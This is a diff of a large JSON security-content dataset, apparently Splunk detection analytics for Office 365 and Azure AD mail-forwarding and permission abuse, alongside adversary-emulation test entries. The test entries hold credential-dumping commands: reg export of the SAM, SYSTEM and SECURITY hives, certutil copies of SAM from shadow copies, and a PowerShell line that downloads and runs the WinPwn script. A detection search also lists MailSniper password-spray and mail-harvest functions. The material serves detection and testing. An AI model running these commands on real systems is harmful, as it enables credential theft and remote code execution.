path=RequiredAppPermissions{}.EntitlementId output=EntitlementIds | eval match_found=mvfind(EntitlementIds, \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\") | where isnotnull(match_found) | stats max(_time) as lastTime values(EntitlementIds) as EntitlementIds by Operation, user, object | `security_content_ctime(lastTime)` | `o365_mailbox_read_access_granted_to_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Application registration $object$ was grandes mailbox read access by $user$", - "risk_score": 45, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 New Email Forwarding Rule Created", - "description": "The following analytic identifies the creation of new email forwarding rules in an Office 365 environment. It detects events logged under New-InboxRule and Set-InboxRule operations within the o365_management_activity data source, focusing on parameters like ForwardTo, ForwardAsAttachmentTo, and RedirectTo. This activity is significant as unauthorized email forwarding can lead to data exfiltration and unauthorized access to sensitive information. If confirmed malicious, attackers could intercept and redirect emails, potentially compromising confidential communications and leading to data breaches.", - "search": "`o365_management_activity` (Operation=New-InboxRule OR Operation=set-InboxRule) | eval match1=mvfind('Parameters{}.Name', \"ForwardTo\") | eval match2=mvfind('Parameters{}.Name', \"ForwardAsAttachmentTo\") | eval match3=mvfind('Parameters{}.Name', \"RedirectTo\") | where match1>= 0 OR match2>= 0 OR match3>= 0 | eval ForwardTo=coalesce(ForwardTo, ForwardAsAttachmentTo, RedirectTo) | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_email_forwarding_rule_created_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A forwarding email inbox rule was created for $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 New Email Forwarding Rule Enabled", - "description": "The following analytic identifies the creation of new email forwarding rules in an Office 365 environment via the UpdateInboxRules operation. It leverages Office 365 management activity events to detect rules that forward emails to external recipients by examining the OperationProperties for specific forwarding actions. This activity is significant as it may indicate unauthorized email redirection, potentially leading to data exfiltration. If confirmed malicious, attackers could intercept sensitive communications, leading to data breaches and information leakage.", - "search": "`o365_management_activity` Workload=Exchange Operation=UpdateInboxRules | eval match1=mvfind('OperationProperties{}.Value', \"ForwardToRecipientsAction\") | eval match2=mvfind('OperationProperties{}.Value', \"ForwardAsAttachmentToRecipientsAction\") | eval match3=mvfind('OperationProperties{}.Value', \"RedirectToRecipientsAction\") | eval index = mvfind('OperationProperties{}.Name', \"ServerRule\") | where match1>= 0 OR match2>= 0 OR match3>= 0 | eval ServerRule = mvindex('OperationProperties{}.Value', index-1) | spath input=ServerRule path=Actions{}.Recipients{}.Values{}.Value output=valueExtracted | mvexpand valueExtracted | search valueExtracted=\"*@*.*\" | eval ForwardTo=if(match(valueExtracted, \"^[^@]+@[^@]+\\\\.[^@]+$\"), valueExtracted, null) | dedup ForwardTo | where isnotnull(ForwardTo) | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_email_forwarding_rule_enabled_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A forwarding email inbox rule was created for $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 New Forwarding Mailflow Rule Created", - "description": "The following analytic detects the creation of new mail flow rules in Office 365 that may redirect or copy emails to unauthorized or external addresses. It leverages Office 365 Management Activity logs, specifically querying for the \"New-TransportRule\" operation and parameters like \"BlindCopyTo\", \"CopyTo\", and \"RedirectMessageTo\". This activity is significant as it can indicate potential data exfiltration or unauthorized access to sensitive information. If confirmed malicious, attackers could intercept or redirect email communications, leading to data breaches or information leakage.", - "search": "`o365_management_activity` Workload=Exchange Operation=\"New-TransportRule\" | eval match1=mvfind('Parameters{}.Name', \"BlindCopyTo\") | eval match2=mvfind('Parameters{}.Name', \"CopyTo\") | eval match3=mvfind('Parameters{}.Name', \"RedirectMessageTo\") | where match1>= 0 OR match2>= 0 OR match3>=0 | eval ForwardTo=coalesce(BlindCopyTo, CopyTo, RedirectMessageTo) | search ForwardTo!=\"\" | rename UserId as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, user, Name, ForwardTo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_forwarding_mailflow_rule_created_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new forwarding mailflow rule was created by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 PST export alert", - "description": "The following analytic detects instances where a user has initiated an eDiscovery search or exported a PST file in an Office 365 environment. It leverages Office 365 management activity logs, specifically filtering for events under ThreatManagement with the name \"eDiscovery search started or exported.\" This activity is significant as it may indicate data exfiltration attempts or unauthorized access to sensitive information. If confirmed malicious, it suggests an attacker or insider threat is attempting to gather or exfiltrate data, potentially leading to data breaches, loss of intellectual property, or unauthorized access to confidential communications. Immediate investigation is required.", - "search": "`o365_management_activity` Category=ThreatManagement Name=\"eDiscovery search started or exported\" | stats count earliest(_time) as firstTime latest(_time) as lastTime by Source Severity AlertEntityId Operation Name |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_pst_export_alert_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Source", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $Source$ has exported a PST file from the search using this operation- $Operation$ with a severity of $Severity$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Admin Email Forwarding", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Mailbox Email Forwarding Enabled`. This search detects when an admin configured a forwarding rule for multiple mailboxes to the same destination.", - "search": "`o365_management_activity` Operation=Set-Mailbox | spath input=Parameters | rename Identity AS src_user | search ForwardingAddress=* | stats dc(src_user) AS count_src_user earliest(_time) as firstTime latest(_time) as lastTime values(src_user) AS src_user values(user) AS user by ForwardingAddress | where count_src_user > 1 |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_admin_email_forwarding_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has configured a forwarding rule for multiple mailboxes to the same destination $ForwardingAddress$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Rights Delegation", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Elevated Mailbox Permission Assigned`. This analytic identifies instances where potentially suspicious rights are delegated within the Office 365 environment. Specifically, it detects when a user is granted FullAccess, SendAs, or SendOnBehalf permissions on another users mailbox. Such permissions can allow a user to access, send emails from, or send emails on behalf of the target mailbox. The detection leverages O365 audit logs, focusing on the Add-MailboxPermission operation. By parsing the parameters of this operation, the analytic filters for events where FullAccess, SendAs, or SendOnBehalf rights are granted. It then aggregates this data to capture the source user (who was granted the permissions), the destination user (whose mailbox was affected), the specific operation, and the type of access rights granted. Delegating mailbox rights, especially those as powerful as FullAccess, can pose significant security risks. While there are legitimate scenarios for these permissions, such as an executive assistant needing access to an executives mailbox, there are also malicious scenarios where an attacker or a compromised insider might grant themselves unauthorized access to sensitive mailboxes. Monitoring for these permissions changes is crucial to detect potential insider threats, compromised accounts, or other malicious activities.If the detection is a true positive, it indicates that a user has been granted potentially high-risk permissions on another users mailbox. This could lead to unauthorized access to sensitive emails, impersonation through sending emails as or on behalf of the mailbox owner, or data manipulation by altering or deleting emails. Immediate investigation is required to validate the legitimacy of the permission change and to assess the potential risks associated with the granted access.", - "search": "`o365_management_activity` Operation=Add-MailboxPermission | spath input=Parameters | rename User AS src_user, Identity AS dest_user | search AccessRights=FullAccess OR AccessRights=SendAs OR AccessRights=SendOnBehalf | stats count earliest(_time) as firstTime latest(_time) as lastTime by user src_user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_rights_delegation_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has delegated suspicious rights $AccessRights$ to user $dest_user$ that allow access to sensitive", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Suspicious User Email Forwarding", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Mailbox Email Forwarding Enabled`. The following analytic detects when multiple users have configured a forwarding rule to the same destination to proactively identify and investigate potential security risks related to email forwarding and take appropriate actions to protect the organizations data and prevent unauthorized access or data breaches. This detection is made by a Splunk query to O365 management activity logs with the operation `Set-Mailbox` to gather information about mailbox configurations. Then, the query uses the `spath` function to extract the parameters and rename the \"Identity\" field as \"src_user\" and searches for entries where the \"ForwardingSmtpAddress\" field is not empty, which indicates the presence of a forwarding rule. Next, the analytic uses the `stats` command to group the results by the forwarding email address and count the number of unique source users (`src_user`). Finally, it filters the results and only retains entries where the count of source users (`count_src_user`) is greater than 1, which indicates that multiple users have set up forwarding rules to the same destination. This detection is important because it suggests that multiple users are forwarding emails to the same destination without proper authorization, which can lead to the exposure of sensitive information, loss of data control, or unauthorized access to confidential emails. Investigating and addressing this issue promptly can help prevent data breaches and mitigate potential damage.indicates a potential security risk since multiple users forwarding emails to the same destination can be a sign of unauthorized access, data exfiltration, or a compromised account. Additionally, it also helps to determine if the forwarding rules are legitimate or if they indicate a security incident. False positives can occur if there are legitimate reasons for multiple users to forward emails to the same destination, such as a shared mailbox or a team collaboration scenario. Next steps include further investigation and context analysis to determine the legitimacy of the forwarding rules.", - "search": "`o365_management_activity` Operation=Set-Mailbox | spath input=Parameters | rename Identity AS src_user | search ForwardingSmtpAddress=* | stats dc(src_user) AS count_src_user earliest(_time) as firstTime latest(_time) as lastTime values(src_user) AS src_user values(user) AS user by ForwardingSmtpAddress | where count_src_user > 1 |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_user_email_forwarding_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ForwardingSmtpAddress", - "type": "Email Address", - "role": [ - "Other" - ] - } - ], - "message": "User $user$ configured multiple users $src_user$ with a count of $count_src_user$, a forwarding rule to same destination $ForwardingSmtpAddress$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.003", - "mitre_attack_technique": "Email Forwarding Rule", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Kimsuky", - "LAPSUS$", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Mailsniper Invoke functions", - "description": "The following analytic detects the execution of known MailSniper PowerShell functions on a machine. It leverages PowerShell logs (EventCode 4104) to identify specific script block text associated with MailSniper activities. This behavior is significant as MailSniper is often used by attackers to harvest sensitive emails from compromised Exchange servers. If confirmed malicious, this activity could lead to unauthorized access to sensitive email data, credential theft, and further compromise of the email infrastructure.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*Invoke-GlobalO365MailSearch*\", \"*Invoke-GlobalMailSearch*\", \"*Invoke-SelfSearch*\", \"*Invoke-PasswordSprayOWA*\", \"*Invoke-PasswordSprayEWS*\",\"*Invoke-DomainHarvestOWA*\", \"*Invoke-UsernameHarvestOWA*\",\"*Invoke-OpenInboxFinder*\",\"*Invoke-InjectGEventAPI*\",\"*Invoke-InjectGEvent*\",\"*Invoke-SearchGmail*\", \"*Invoke-MonitorCredSniper*\", \"*Invoke-AddGmailRule*\",\"*Invoke-PasswordSprayEAS*\",\"*Invoke-UsernameHarvestEAS*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mailsniper_invoke_functions_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential mailsniper.ps1 functions executed on dest $dest$ by user $user$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.001", - "mitre_attack_technique": "Local Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "Chimera", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Hosts receiving high volume of network traffic from email server", - "description": "The following analytic identifies hosts receiving an unusually high volume of network traffic from an email server. It leverages the Network_Traffic data model to sum incoming bytes to clients from email servers, comparing current traffic against historical averages and standard deviations. This activity is significant as it may indicate data exfiltration by a malicious actor using the email server. If confirmed malicious, this could lead to unauthorized data access and potential data breaches, compromising sensitive information and impacting organizational security.", - "search": "| tstats `security_content_summariesonly` sum(All_Traffic.bytes_in) as bytes_in from datamodel=Network_Traffic where All_Traffic.dest_category=email_server by All_Traffic.src_ip _time span=1d | `drop_dm_object_name(\"All_Traffic\")` | eventstats avg(bytes_in) as avg_bytes_in stdev(bytes_in) as stdev_bytes_in | eventstats count as num_data_samples avg(eval(if(_time < relative_time(now(), \"@d\"), bytes_in, null))) as per_source_avg_bytes_in stdev(eval(if(_time < relative_time(now(), \"@d\"), bytes_in, null))) as per_source_stdev_bytes_in by src_ip | eval minimum_data_samples = 4, deviation_threshold = 3 | where num_data_samples >= minimum_data_samples AND bytes_in > (avg_bytes_in + (deviation_threshold * stdev_bytes_in)) AND bytes_in > (per_source_avg_bytes_in + (deviation_threshold * per_source_stdev_bytes_in)) AND _time >= relative_time(now(), \"@d\") | eval num_standard_deviations_away_from_server_average = round(abs(bytes_in - avg_bytes_in) / stdev_bytes_in, 2), num_standard_deviations_away_from_client_average = round(abs(bytes_in - per_source_avg_bytes_in) / per_source_stdev_bytes_in, 2) | table src_ip, _time, bytes_in, avg_bytes_in, per_source_avg_bytes_in, num_standard_deviations_away_from_server_average, num_standard_deviations_away_from_client_average | `hosts_receiving_high_volume_of_network_traffic_from_email_server_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -155878,7 +128657,8 @@ "Write-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\nInvoke-PowerDump", "for /L %a in (1,1,10) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\SAM\" %temp%\\SAMvss%a 2 >nul 2>&1) & dir /B %temp%\\SAMvss*\n", "1..10 | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\SAM\" , \"$env:TEMP\\SAMvss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\SAMvss$_\" -ErrorAction Ignore\n}\n", - "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive " + "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive ", + "reg export HKLM\\sam %temp%\\sam\nreg export HKLM\\system %temp%\\system\nreg export HKLM\\security %temp%\\security\n" ], "commands": [], "queries": [], @@ -156056,6 +128836,20 @@ "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive ", "name": "powershell" } + }, + { + "name": "Dumping of SAM, creds, and secrets(Reg Export)", + "auto_generated_guid": "21df41be-cdd8-4695-a650-c3981113aa3c", + "description": "Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Used reg export to execute this behavior\nUpon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "reg export HKLM\\sam %temp%\\sam\nreg export HKLM\\system %temp%\\system\nreg export HKLM\\security %temp%\\security\n", + "cleanup_command": "del %temp%\\sam >nul 2> nul\ndel %temp%\\system >nul 2> nul\ndel %temp%\\security >nul 2> nul\n", + "name": "command_prompt", + "elevation_required": true + } } ] } @@ -156411,881 +129205,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Azure AD Privileged Authentication Administrator Role Assigned", - "description": "The following analytic detects the assignment of the Privileged Authentication Administrator role to an Azure AD user. It leverages Azure Active Directory audit logs to identify when this specific role is assigned. This activity is significant because users in this role can set or reset authentication methods for any user, including those in privileged roles like Global Administrators. If confirmed malicious, an attacker could change credentials and assume the identity and permissions of high-privilege users, potentially leading to unauthorized access to sensitive information and critical configurations.", - "search": " `azure_monitor_aad` \"operationName\"=\"Add member to role\" \"properties.targetResources{}.modifiedProperties{}.newValue\"=\"\\\"Privileged Authentication Administrator\\\"\" | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by initiatedBy, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_authentication_administrator_role_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Privilege Escalation" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "The privileged Azure AD role Privileged Authentication Administrator was assigned for User $user$ initiated by $initiatedBy$", - "risk_score": 50, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Azure AD Privileged Graph API Permission Assigned", - "description": "The following analytic detects the assignment of high-risk Graph API permissions in Azure AD, specifically Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, and RoleManagement.ReadWrite.Directory. It uses azure_monitor_aad data to scan AuditLogs for 'Update application' operations, identifying when these permissions are assigned. This activity is significant as it grants broad control over Azure AD, including application and directory settings. If confirmed malicious, it could lead to unauthorized modifications and potential security breaches, compromising the integrity and security of the Azure AD environment. Immediate investigation is required.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Update application\" | eval newvalue = mvindex('properties.targetResources{}.modifiedProperties{}.newValue',0) | spath input=newvalue | search \"{}.RequiredAppPermissions{}.EntitlementId\"=\"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"06b708a9-e830-4db3-a914-8e69da51d44f\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime values(Permissions) by user, object, user_agent, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_privileged_graph_api_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ assigned privileged Graph API permissions to $object$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "O365 Privileged Graph API Permission Assigned", - "description": "The following analytic detects the assignment of critical Graph API permissions in Azure AD using the O365 Unified Audit Log. It focuses on permissions such as Application.ReadWrite.All, AppRoleAssignment.ReadWrite.All, and RoleManagement.ReadWrite.Directory. The detection method leverages Azure Active Directory workload events, specifically 'Update application' operations. This activity is significant as these permissions provide extensive control over Azure AD settings, posing a high risk if misused. If confirmed malicious, this could allow unauthorized modifications, leading to potential data breaches or privilege escalation. Immediate investigation is crucial.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application.\" | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | spath input=newvalue | search \"{}.RequiredAppPermissions{}.EntitlementId\"=\"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"06b708a9-e830-4db3-a914-8e69da51d44f\" OR \"{}.RequiredAppPermissions{}.EntitlementId\"=\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\" | eval Permissions = '{}.RequiredAppPermissions{}.EntitlementId' | stats count earliest(_time) as firstTime latest(_time) as lastTime 